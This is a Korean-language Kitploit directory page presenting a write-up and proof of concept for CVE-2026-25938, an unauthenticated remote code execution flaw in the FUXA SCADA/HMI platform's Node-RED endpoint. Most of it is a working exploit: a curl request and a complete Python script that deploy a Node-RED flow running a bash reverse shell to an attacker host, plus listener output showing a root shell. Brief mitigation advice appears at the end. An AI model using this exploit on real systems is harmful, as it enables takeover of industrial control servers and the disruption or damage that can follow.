Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25938-FUXA-Unauthenticated-RCE — FUXA에서 CVE-2026-25938 비인증 RCE 취약점을 악용하기 위한 설명 및 PoC | Kitploit
도구/GitHubGitHub/judgedbykira/cve-2026-25938-fuxa-unauthenticated-rce
IoT SecurityVulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubjudgedbykira/cve-2026-25938-fuxa-unauthenticated-rce

CVE-2026-25938-FUXA-Unauthenticated-RCE

FUXA에서 CVE-2026-25938 비인증 RCE 취약점을 악용하기 위한 설명 및 PoC

저장소 보기
1827일 전아직 검토되지 않음

CVE-2026-25938 - FUXA 인증되지 않은 RCE

1. FUXA란 무엇인가?

FUXA는 산업 자동화, IoT, 실시간 프로세스 시각화에 사용되는 무료 오픈소스 웹 기반 SCADA(감독 제어 및 데이터 수집) 및 HMI(인간-기계 인터페이스) 플랫폼입니다. 사용자는 값비싼 독점 소프트웨어나 무거운 데스크톱 편집기 없이도 웹 브라우저에서 직접 맞춤형 대시보드를 구축하고 머신을 모니터링할 수 있습니다.

2. 취약점 설명

CVE-2026-25938은 Node-RED 통합이 활성화된(기본적으로 활성화됨) FUXA 버전 1.2.8부터 1.2.10에 영향을 줍니다. 이 취약점은 Node-RED 기능을 노출하는 기능에 대한 인증 강제가 불충분하여, 인증되지 않은 원격 공격자가 플로우 생성과 같은 권한이 필요한 작업에 접근할 수 있게 하며, 그중 하나는 시스템에서 명령을 실행할 수 있게 합니다. Node-RED는 FUXA 프로세스의 권한으로 플로우를 실행할 수 있기 때문에, 이 인증 우회는 궁극적으로 기본 서버에서 임의의 원격 코드 실행을 초래할 수 있습니다. 이 문제는 FUXA 1.2.11 이상에서 해결되었습니다.

CWEs

  • CWE-306 — 중요 기능에 대한 인증 누락
  • CWE-290 — 스푸핑을 통한 인증 우회

TTPs

  • T1190 – 공개 애플리케이션 악용
  • T1059 – 명령 및 스크립팅 인터프리터

3. 실습 환경 구성

취약한 버전의 FUXA, 이 경우 1.2.8 버전을 사용하여 Docker Container를 실행합니다:

root@kitploit:~
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8

4. 개념 증명

다음 페이로드는 이 취약점을 악용하여 exec 노드에 지정된 IP 주소로 리버스 셸을 트리거합니다:

  • tab 노드는 "RCE"라는 플로우를 생성합니다.
  • inject 노드는 배포 시 자동으로 트리거됩니다. 이는 "once": true 및 "onceDelay": 0.1 파라미터 때문입니다.
  • exec 노드는 우리가 실행하려는 명령을 실행하며, 이 경우 리버스 셸입니다. 이는 "command": "bash <snip>"에 지정되어 있습니다.
root@kitploit:~
curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
  -H "Content-Type: application/json" \
  -H "Node-RED-Deployment-Type: full" \
  -H "Referer: http://192.168.1.201:1881/editor" \
  -d '[
    {
      "id": "tab1",
      "type": "tab",
      "label": "RCE",
      "disabled": false,
      "info": ""
    },
    {
      "id": "inject1",
      "type": "inject",
      "z": "tab1",
      "name": "",
      "props": [{"p": "payload"}],
      "repeat": "",
      "crontab": "",
      "once": true,
      "onceDelay": 0.1,
      "topic": "",
      "payload": "",
      "payloadType": "date",
      "x": 150,
      "y": 100,
      "wires": [["exec1"]]
    },
    {
      "id": "exec1",
      "type": "exec",
      "z": "tab1",
      "command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
      "addpay": "",
      "append": "",
      "useSpawn": "false",
      "timer": "",
      "winHide": false,
      "oldrc": false,
      "name": "",
      "x": 350,
      "y": 100,
      "wires": [["debug1"], [], []]
    }
  ]'

리버스 셸용 리스너를 생성하면 페이로드를 전송할 때 루트 셸로 연결을 받게 됩니다:

root@kitploit:~
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#

5. 자동화된 PoC 스크립트

root@kitploit:~
#!/usr/bin/env python3
import argparse
import requests
import sys
import json

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def exploit(target_url, listener_ip, listener_port):
    # Extract host:port from URL for Referer
    target_host = target_url.split("//")[1].split("/")[0]
    
    # Build the full endpoint
    if not target_url.endswith("/"):
        target_url += "/"
    endpoint = f"{target_url}nodered/flows"

    # Payload for the exploit
    payload = [
        {
            "id": "tab1",
            "type": "tab",
            "label": "RCE",
            "disabled": False,
            "info": ""
        },
        {
            "id": "inject1",
            "type": "inject",
            "z": "tab1",
            "name": "",
            "props": [{"p": "payload"}],
            "repeat": "",
            "crontab": "",
            "once": True,
            "onceDelay": 0.1,
            "topic": "",
            "payload": "",
            "payloadType": "date",
            "x": 150,
            "y": 100,
            "wires": [["exec1"]]
        },
        {
            "id": "exec1",
            "type": "exec",
            "z": "tab1",
            "command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
            "addpay": "",
            "append": "",
            "useSpawn": "false",
            "timer": "",
            "winHide": False,
            "oldrc": False,
            "name": "",
            "x": 350,
            "y": 100,
            "wires": [["debug1"], [], []]
        }
    ]

    headers = {
        "Content-Type": "application/json",
        "Referer": f"http://{target_host}/editor"
    }

    try:
        response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200 or response.status_code == 204:
            print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
        else:
            print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
    except requests.exceptions.RequestException as e:
        print(f"{RED}[-] Error occurred: {e}{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
    parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
    parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
     _____ _   _ _____       _____  _____  _____   ____        _____  _____  _____  _____ _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/ __  \ / ___|      / __  \|  ___||  _  ||____ |  _  |
    | /  \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| |    / /\ V / 
    | |   | | | |  __|______| / /  |  /| |  / /  | ___ \______| / /      \ \\____ |    \ \/ _ \ 
    | \__/\ \_/ / |___      ./ /___\ |_/ /./ /___| \_/ |      ./ /___/\__/ /.___/ /.___/ / |_| |
    \____/\___/\____/      \_____/ \___/ \_____/\_____/      \_____/\____/ \____/ \____/\_____/
                                                                                                                                                                           
    """)
    print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    args = argparse_setup()
    banner()
    exploit(args.url, args.listener_ip, args.listener_port)

if __name__ == "__main__":
    main()

6. 완화 조치

가능하면 1.2.11 이상 버전으로 업데이트하세요. 취약점은 1.2.11 버전에서 수정되었습니다.

업데이트가 불가능하다면 다음을 수행할 수 있습니다:

1. Apache .htaccess

Apache를 애플리케이션 진입점으로 사용하는 경우. Apache가 NAT, Docker Proxy 등으로 인해 클라이언트의 IP를 볼 수 없으면 작동하지 않습니다.

root@kitploit:~
<LocationMatch "^/nodered/">
    Require ip 127.0.0.1
    Require ip ::1
    Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>

2. NGINX

NGINX를 애플리케이션 진입점으로 사용하는 경우. NGINX가 NAT, Docker Proxy 등으로 인해 클라이언트의 IP를 볼 수 없으면 작동하지 않습니다.

root@kitploit:~
location /nodered/ {
    allow 127.0.0.1;
    allow ::1;
    allow <TRUSTED_MGMT_CIDR>;
    deny all;
}
도구 다운로드